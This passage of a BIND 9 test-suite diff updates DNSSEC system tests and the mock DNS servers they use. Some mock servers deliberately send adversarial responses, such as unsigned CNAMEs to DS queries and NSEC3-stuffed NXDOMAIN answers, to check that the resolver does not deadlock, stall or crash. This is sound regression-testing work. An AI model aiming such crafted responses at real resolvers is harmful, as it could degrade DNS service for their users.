'hmac-157-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-158-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-159-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-160-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-161-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-162-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-163-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-164-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'hmac-165-trust-anchor.': algorithm is unsupported", + ] + ) diff -Nru bind9-9.20.29/bin/tests/system/dnssec/tests_validation.py bind9-9.20.30/bin/tests/system/dnssec/tests_validation.py --- bind9-9.20.29/bin/tests/system/dnssec/tests_validation.py 2026-09-11 19:41:01.179323273 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/tests_validation.py 2026-10-12 13:12:08.076892834 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - from dns import rdatatype import pytest @@ -31,7 +30,6 @@ "*/*.key", "*/*.signed", "*/settime.out.*", - "ans*/ans.run", "*/trusted.keys", "*/*.bad", "*/*.next", @@ -60,6 +58,16 @@ assert ("a.example.", rdatatype.A) in answers +def test_unknown_algorithms(): + # check that unknown DNSKEY algorithm using a HMAC code point validates as insecure + msg = isctest.query.create("dnskey-163-unknown.example", "A", dnssec=False) + res1 = isctest.query.tcp(msg, "10.53.0.3") + res2 = isctest.query.tcp(msg, "10.53.0.4") + isctest.check.noerror(res1) + isctest.check.noerror(res2) + isctest.check.noadflag(res2) + + def test_ds_keytag_flood(ns4): # GL #5349: a securely-delegated zone whose parent DS RRset is flooded # with many mismatched DS records (each a unique key tag) must be diff -Nru bind9-9.20.29/bin/tests/system/dnssec_bypass/tests_bypass.py bind9-9.20.30/bin/tests/system/dnssec_bypass/tests_bypass.py --- bind9-9.20.29/bin/tests/system/dnssec_bypass/tests_bypass.py 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_bypass/tests_bypass.py 2026-10-12 13:12:08.077892856 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/ans.py bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/ans.py --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/ans.py 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/ans.py 2026-10-12 13:12:08.077892856 +0000 @@ -1,33 +1,26 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.name import dns.rcode import dns.rdataclass -import dns.rdataset import dns.rdatatype import dns.rrset import dns.zone -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain, Matcher, Qname, Qtype # 'example.' answers DNSKEY/NSEC/NSEC3/RRSIG queries with a CNAME (the # meta-types whose CNAME answer the resolver and validator must cope with). @@ -68,7 +61,7 @@ return rrsets -class LoneAHandler(DomainHandler): +class LoneAHandler(ResponseHandler): """ Answer any query with a single unrelated A record (no RRSIG and no alias). An RRSIG query is handled by the resolver as a subset of ANY, @@ -76,7 +69,7 @@ for a validator that was never started. """ - domains = ["lone-a.example."] + matcher = Domain("lone-a.example.") async def get_responses( self, qctx: QueryContext @@ -100,40 +93,36 @@ yield DnsResponseSend(qctx.response) -class ExampleMetatypeCnameHandler(DomainHandler, CnameHandler): - domains = ["example."] - _qtypes = frozenset( - { - dns.rdatatype.DNSKEY, - dns.rdatatype.NSEC, - dns.rdatatype.NSEC3, - dns.rdatatype.RRSIG, - } +class ExampleMetatypeCnameHandler(CnameHandler): + matcher = Domain("example.") & Qtype( + dns.rdatatype.DNSKEY, + dns.rdatatype.NSEC, + dns.rdatatype.NSEC3, + dns.rdatatype.RRSIG, ) - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype in self._qtypes and super().match(qctx) +class SecureDsCnameHandler(CnameHandler): + matcher = Domain("secure.") & Qtype(dns.rdatatype.DS) -class SecureDsCnameHandler(DomainHandler, CnameHandler): - domains = ["secure."] - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.DS and super().match(qctx) +class InsecureApexCnameHandler(CnameHandler): + """ + Synthesize an apex CNAME, which conflicts with SOA/NS in a zone file. + """ + + matcher = Qname("insecure.parent.") & Qtype(dns.rdatatype.A) -class SignedZoneHandler(DomainHandler): +class SignedZoneHandler(ResponseHandler): """ Serve a signed zone faithfully. """ def __init__(self, zone: dns.zone.Zone) -> None: self._zone = zone - super().__init__() - - @property - def domains(self) -> list[str]: - return [self._zone.origin.to_text()] + assert self._zone.origin + self.matcher = Domain(self._zone.origin) def _soa(self) -> list[dns.rrset.RRset]: return rrset_with_rrsig(self._zone, self._zone.origin, dns.rdatatype.SOA) @@ -162,35 +151,41 @@ yield DnsResponseSend(qctx.response) -class StuffedNxdomainHandler(DomainHandler): +class NoDataIn(Matcher): + """ + Match queries the given zone holds no rdataset for. + """ + + def __init__(self, zone: dns.zone.Zone) -> None: + self._zone = zone + + def match(self, qctx: QueryContext) -> bool: + node = self._zone.get_node(qctx.qname) + if node is None: + return True + return node.get_rdataset(dns.rdataclass.IN, qctx.qtype) is None + + def __str__(self) -> str: + return f"no data in {self._zone.origin}" + + +class StuffedNxdomainHandler(ResponseHandler): """ Answer NXDOMAIN with every NSEC3 RRset from a signed zone. """ def __init__(self, zone: dns.zone.Zone) -> None: self._zone = zone - super().__init__() + assert self._zone.origin + self.matcher = Domain(self._zone.origin) & NoDataIn(zone) self._nsec3_authority = self._build_authority() - @property - def domains(self) -> list[str]: - return [self._zone.origin.to_text()] - def _build_authority(self) -> list[dns.rrset.RRset]: authority = rrset_with_rrsig(self._zone, self._zone.origin, dns.rdatatype.SOA) for name, _ in self._zone.iterate_rdatasets(dns.rdatatype.NSEC3): authority.extend(rrset_with_rrsig(self._zone, name, dns.rdatatype.NSEC3)) return authority - def match(self, qctx: QueryContext) -> bool: - return super().match(qctx) and self._answer_rds(qctx) is None - - def _answer_rds(self, qctx: QueryContext) -> dns.rdataset.Rdataset | None: - node = self._zone.get_node(qctx.qname) - if node is None: - return None - return node.get_rdataset(dns.rdataclass.IN, qctx.qtype) - async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: @@ -203,6 +198,7 @@ def main() -> None: server = AsyncDnsServer(default_rcode=dns.rcode.NOERROR, default_aa=True) server.install_response_handlers( + InsecureApexCnameHandler(), LoneAHandler(), ExampleMetatypeCnameHandler(), SignedZoneHandler(EXAMPLE), diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/parent.db.in bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/parent.db.in --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/parent.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/parent.db.in 2026-10-12 13:12:08.077892856 +0000 @@ -0,0 +1,13 @@ +$TTL 300 +@ IN SOA ns.parent. root.parent. ( + 1 ; serial + 3600 ; refresh + 1800 ; retry + 1814400 ; expire + 300 ; minimum + ) + IN NS ns.parent. +ns IN A 10.53.0.2 + +insecure IN NS ns.insecure.parent. +ns.insecure IN A 10.53.0.2 diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/zones/insecure.parent.db bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/zones/insecure.parent.db --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ans2/zones/insecure.parent.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ans2/zones/insecure.parent.db 2026-10-12 13:12:08.078892877 +0000 @@ -0,0 +1,13 @@ +$TTL 300 +@ IN SOA ns.insecure.parent. root.insecure.parent. ( + 1 ; serial + 3600 ; refresh + 1800 ; retry + 1814400 ; expire + 300 ; minimum + ) + IN NS ns.insecure.parent. +ns IN A 10.53.0.2 +cname-target IN A 192.0.2.1 +@ IN MX 10 mail.insecure.parent. +mail IN A 10.53.0.2 diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns3/named.conf.j2 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/named.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns3/named.conf.j2 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/named.conf.j2 2026-10-12 13:12:08.078892877 +0000 @@ -16,6 +16,11 @@ server-addresses { 10.53.0.2; }; }; +zone "parent." { + type static-stub; + server-addresses { 10.53.0.2; }; +}; + zone "stuffed." { type static-stub; server-addresses { 10.53.0.2; }; diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns3/trusted.conf.j2 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/trusted.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns3/trusted.conf.j2 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns3/trusted.conf.j2 2026-10-12 13:12:08.078892877 +0000 @@ -1,5 +1,6 @@ trust-anchors { example. static-key 257 3 14 "@ksk_public_key@"; secure. static-key 257 3 14 "@secure_ksk_public_key@"; + parent. static-key 257 3 14 "@parent_ksk_public_key@"; @stuffed_ta.domain@ @stuffed_ta.type@ @stuffed_ta.contents@; }; diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns4/named.conf.j2 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/named.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns4/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/named.conf.j2 2026-10-12 13:12:08.078892877 +0000 @@ -0,0 +1,30 @@ +options { + {% include_indented "_common/options.conf.j2" %} + allow-transfer { any; }; + dnssec-validation yes; + qname-minimization off; +}; + +{% include "_common/controls.conf.j2" %} + +zone "example." { + type static-stub; + server-addresses { 10.53.0.2; }; +}; + +zone "secure." { + type static-stub; + server-addresses { 10.53.0.2; }; +}; + +zone "parent." { + type static-stub; + server-addresses { 10.53.0.2; }; +}; + +zone "stuffed." { + type static-stub; + server-addresses { 10.53.0.2; }; +}; + +include "trusted.conf"; diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns4/trusted.conf.j2 bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/trusted.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/ns4/trusted.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/ns4/trusted.conf.j2 2026-10-12 13:12:08.078892877 +0000 @@ -0,0 +1,6 @@ +trust-anchors { + example. static-key 257 3 14 "@ksk_public_key@"; + secure. static-key 257 3 14 "@secure_ksk_public_key@"; + parent. static-key 257 3 14 "@parent_ksk_public_key@"; + @stuffed_ta.domain@ @stuffed_ta.type@ @stuffed_ta.contents@; +}; diff -Nru bind9-9.20.29/bin/tests/system/dnssec_cname_response/tests_cname_rejection.py bind9-9.20.30/bin/tests/system/dnssec_cname_response/tests_cname_rejection.py --- bind9-9.20.29/bin/tests/system/dnssec_cname_response/tests_cname_rejection.py 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_cname_response/tests_cname_rejection.py 2026-10-12 13:12:08.079892898 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -19,15 +19,21 @@ import dns.dnssec import dns.rdataclass +import dns.rdatatype +import dns.rrset import dns.zone import pytest +from isctest.template import ANS2 + import isctest def _sign_zone(db_in, signed_out, origin): - """Sign 'db_in' with a fresh KSK; write 'signed_out'; return the KSK - public key (base64) for use as a static trust anchor.""" + """ + Sign 'db_in' with a fresh KSK; write 'signed_out'; return the KSK + public key (base64) for use as a static trust anchor. + """ ksk_private_key = ec.generate_private_key(ec.SECP384R1()) ksk_dnskey = dns.dnssec.make_dnskey( public_key=ksk_private_key.public_key(), @@ -51,11 +57,13 @@ def _sign_nsec3_zone(db_in, signed_out, origin) -> isctest.template.TrustAnchor: - """Sign 'db_in' with NSEC3 using dnssec-signzone; write 'signed_out'; - return the KSK as a static-key trust anchor.""" + """ + Sign 'db_in' with NSEC3 using dnssec-signzone; write 'signed_out'; + return the KSK as a static-key trust anchor. + """ zone = isctest.zone.Zone( origin, - isctest.template.Nameserver("ans2"), + ANS2, signed=True, filepath_unsigned=db_in, filepath_signed=signed_out, @@ -74,6 +82,11 @@ "secure_ksk_public_key": _sign_zone( "ans2/secure.db.in", "ans2/secure.signed.db", "secure." ), + "parent_ksk_public_key": _sign_zone( + "ans2/parent.db.in", + "ans2/zones/parent.db.signed", + "parent.", + ), "stuffed_ta": _sign_nsec3_zone( "stuffed.db.in", "stuffed.signed.zone", "stuffed." ), @@ -83,11 +96,45 @@ return result -def _assert_ns3_alive(): - """Fail if ns3 is no longer answering (e.g. it hit an assertion).""" +def _assert_alive(ip): liveness = isctest.query.create("version.bind.", "TXT", dns.rdataclass.CH, rd=False) - res = isctest.query.tcp(liveness, "10.53.0.3", timeout=5) - assert res is not None, "ns3 did not answer a liveness query -- it may have crashed" + res = isctest.query.tcp(liveness, ip, timeout=5) + assert ( + res is not None + ), f"{ip} did not answer a liveness query -- it may have crashed" + + +# With QNAME minimization (ns3), validator and client fetch options differ, +# testing a sibling DS fetch; ns4 tests a direct join of the client fetch. +RESOLVERS = ["ns3", "ns4"] + +EXPECTED_CNAME = dns.rrset.from_text( + "insecure.parent.", + 300, + dns.rdataclass.IN, + dns.rdatatype.CNAME, + "cname-target.insecure.parent.", +) +EXPECTED_A = dns.rrset.from_text( + "cname-target.insecure.parent.", + 300, + dns.rdataclass.IN, + dns.rdatatype.A, + "192.0.2.1", +) + + +def _query_insecure_parent(ns, qtype): + return isctest.query.tcp(isctest.query.create("insecure.parent.", qtype), ns.ip) + + +def _check_insecure_cname_chain(res): + isctest.check.noerror(res) + isctest.check.noadflag(res) + answers = {rrset.rdtype: rrset for rrset in res.answer} + assert set(answers) == {dns.rdatatype.CNAME, dns.rdatatype.A}, res + assert answers[dns.rdatatype.CNAME] == EXPECTED_CNAME, res + assert answers[dns.rdatatype.A] == EXPECTED_A, res @pytest.mark.parametrize("qtype", ["DNSKEY", "NSEC", "NSEC3", "RRSIG"]) @@ -119,7 +166,7 @@ # We do not assert a particular rcode here -- SERVFAIL or a chased # answer are both acceptable. The point is that named survives. assert res is not None, f"no response to direct {qtype} query" - _assert_ns3_alive() + _assert_alive("10.53.0.3") def test_rrsig_lone_record_does_not_stall_resolver(): @@ -139,7 +186,7 @@ assert elapsed_time < 5.0, f"RRSIG query took too long: {elapsed_time}s" assert res is not None, "no response to lone-record RRSIG query" - _assert_ns3_alive() + _assert_alive("10.53.0.3") def test_cname_for_validator_dnskey_fetch(ns3): @@ -165,29 +212,93 @@ isctest.check.servfail(res) -def test_ds_cname_does_not_deadlock(): +@pytest.mark.parametrize("resolver", RESOLVERS) +def test_ds_cname_does_not_deadlock(servers, resolver): """ - A DS query answered with an unsigned CNAME must not send the validator - into a self-join deadlock (GL#5878). While proving the CNAME insecure - the validator would fetch the DS for the same name, re-entering the - in-flight DS fetch it is blocked on and stalling for ~12 seconds until a - backstop timer fires. The validator now detects that such a fetch cannot - advance the alias chain and aborts, so the client gets SERVFAIL promptly. - - 'secure.' is a properly signed zone (so validation reaches the DS query), - but its authoritative server answers DS queries with an unsigned CNAME. + An unsigned CNAME answer to a DS query makes validation fetch the same DS. + Reject the fetch loop promptly instead of waiting for a timeout (GL#5878). """ + ns = servers[resolver] + log_loop = Re(r"fetch loop detected resolving 'insecure\.secure/DS") msg = isctest.query.create("insecure.secure.", "DS") start_time = time.time() - res = isctest.query.tcp(msg, "10.53.0.3", timeout=8) + with ns.watch_log_from_here(timeout=5) as watcher: + res = isctest.query.tcp(msg, ns.ip, timeout=8) + watcher.wait_for_line(log_loop) elapsed_time = time.time() - start_time assert ( elapsed_time < 5.0 ), f"DS query took too long: {elapsed_time}s (possible deadlock)" isctest.check.servfail(res) - _assert_ns3_alive() + _assert_alive(ns.ip) + + +@pytest.mark.parametrize("resolver", RESOLVERS) +def test_cname_at_insecure_delegation_is_accepted(servers, resolver): + """ + An insecure apex CNAME must allow fetching the parent's DS denial and + remain usable from cache (GL#6435). + """ + ns = servers[resolver] + + res = _query_insecure_parent(ns, "A") + _check_insecure_cname_chain(res) + + res = _query_insecure_parent(ns, "DS") + isctest.check.noerror(res) + isctest.check.empty_answer(res) + + res = _query_insecure_parent(ns, "NS") + isctest.check.noerror(res) + answers = {rrset.rdtype: rrset for rrset in res.answer} + assert answers.get(dns.rdatatype.CNAME) == EXPECTED_CNAME, res + + # Repeat with a warm cache. + res = _query_insecure_parent(ns, "A") + _check_insecure_cname_chain(res) + + assert not ns.log.grep(Re(r"deadlock found resolving 'insecure\.parent")) + assert not ns.log.grep(Re(r"fetch loop detected resolving 'insecure\.parent")) + + +def test_apex_cname_coexists_with_other_types(ns3): + """ + Caching an apex CNAME must preserve an existing MX RRset. + """ + expected_mx = dns.rrset.from_text( + "insecure.parent.", + 300, + dns.rdataclass.IN, + dns.rdatatype.MX, + "10 mail.insecure.parent.", + ) + + def check_mx(res): + isctest.check.noerror(res) + assert len(res.answer) == 1 + isctest.check.rrsets_equal(res.answer[0], expected_mx) + + # Cache MX first; a cached CNAME would answer the MX query via the alias. + ns3.rndc("flushtree insecure.parent") + + res = _query_insecure_parent(ns3, "MX") + check_mx(res) + + res = _query_insecure_parent(ns3, "A") + _check_insecure_cname_chain(res) + + res = _query_insecure_parent(ns3, "MX") + check_mx(res) + + with ns3.watch_log_from_here() as watcher: + ns3.rndc("dumpdb -cache") + watcher.wait_for_line("dumpdb complete") + dump = isctest.text.TextFile(f"{ns3.identifier}/named_dump.db") + # Match unique RDATA because the dump omits repeated owner names. + assert len(dump.grep(Re(r"\tMX\t10 mail\.insecure\.parent\.$"))) == 1 + assert len(dump.grep(Re(r"\tCNAME\tcname-target\.insecure\.parent\.$"))) == 1 def test_unsolicited_nsec3_proofs_are_rejected(ns3): @@ -207,4 +318,4 @@ assert elapsed_time < 5.0, f"Query took too long: {elapsed_time}s" isctest.check.servfail(res) - _assert_ns3_alive() + _assert_alive("10.53.0.3") diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/ans.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/ans.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/ans.py 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/ans.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from dnssec_nsec3.ans1 import common, f025, f055 from isctest.asyncserver import AsyncDnsServer diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/common.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/common.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/common.py 2026-09-11 19:41:01.181323321 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/common.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from dataclasses import dataclass from pathlib import Path diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/f025.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f025.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/f025.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f025.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -26,7 +31,9 @@ rrset_from_rdata, soa_rrset, ) -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 PARENT = "f025.test." @@ -109,8 +116,8 @@ response.answer.append(wildcard_rrsig(owner, child)) -class F025Handler(DomainHandler): - domains = [PARENT, CHILD] +class F025Handler(ResponseHandler): + matcher = Domain(PARENT, CHILD) def __init__(self, keys: dict[str, Key]) -> None: super().__init__() diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/f055.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f055.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/ans1/f055.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/ans1/f055.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -29,7 +34,9 @@ rrset_from_rdata, soa_rrset, ) -from isctest.asyncserver import DnsResponseSend, DomainHandler, QueryContext +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 F055_ZONE = "f055.test." @@ -138,8 +145,8 @@ add_signed(response.authority, chain.cover_for(f"*.{closest}"), signer) -class F055Handler(DomainHandler): - domains = [F055_ZONE] +class F055Handler(ResponseHandler): + matcher = Domain(F055_ZONE) def __init__(self, keys: dict[str, Key]) -> None: super().__init__() diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/tests_dnssec_nsec3_delegation.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_dnssec_nsec3_delegation.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/tests_dnssec_nsec3_delegation.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_dnssec_nsec3_delegation.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -35,7 +40,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/dnssec_nsec3/tests_nsec3_wrong_zone.py bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_nsec3_wrong_zone.py --- bind9-9.20.29/bin/tests/system/dnssec_nsec3/tests_nsec3_wrong_zone.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_nsec3/tests_nsec3_wrong_zone.py 2026-10-12 13:12:08.079892898 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -33,7 +38,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/dnssec_parent_rrsig/ans1/ans.py bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/ans1/ans.py --- bind9-9.20.29/bin/tests/system/dnssec_parent_rrsig/ans1/ans.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/ans1/ans.py 2026-10-12 13:12:08.080892920 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -22,12 +27,9 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain TTL = 300 PARENT = "f044.test." @@ -123,13 +125,11 @@ def __init__(self, keys: dict[str, Key]) -> None: self.keys = keys self.parent = name(PARENT) + self.matcher = Domain(self.parent) self.child = name(CHILD) self.query = name(QUERY) self.service = name(SERVICE) - def match(self, qctx: QueryContext) -> bool: - return qctx.qname.is_subdomain(self.parent) - async def get_responses( self, qctx: QueryContext ) -> AsyncGenerator[DnsResponseSend, None]: diff -Nru bind9-9.20.29/bin/tests/system/dnssec_parent_rrsig/tests_parent_rrsig.py bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/tests_parent_rrsig.py --- bind9-9.20.29/bin/tests/system/dnssec_parent_rrsig/tests_parent_rrsig.py 2026-09-11 19:41:01.182323345 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec_parent_rrsig/tests_parent_rrsig.py 2026-10-12 13:12:08.080892920 +0000 @@ -1,8 +1,13 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from pathlib import Path @@ -33,7 +38,6 @@ isctest.mark.with_ecdsa_deterministic, pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ans*/keys.json", ] ), diff -Nru bind9-9.20.29/bin/tests/system/dnssec_py/ans4/ans.py bind9-9.20.30/bin/tests/system/dnssec_py/ans4/ans.py --- bind9-9.20.29/bin/tests/system/dnssec_py/ans4/ans.py 2026-09-11 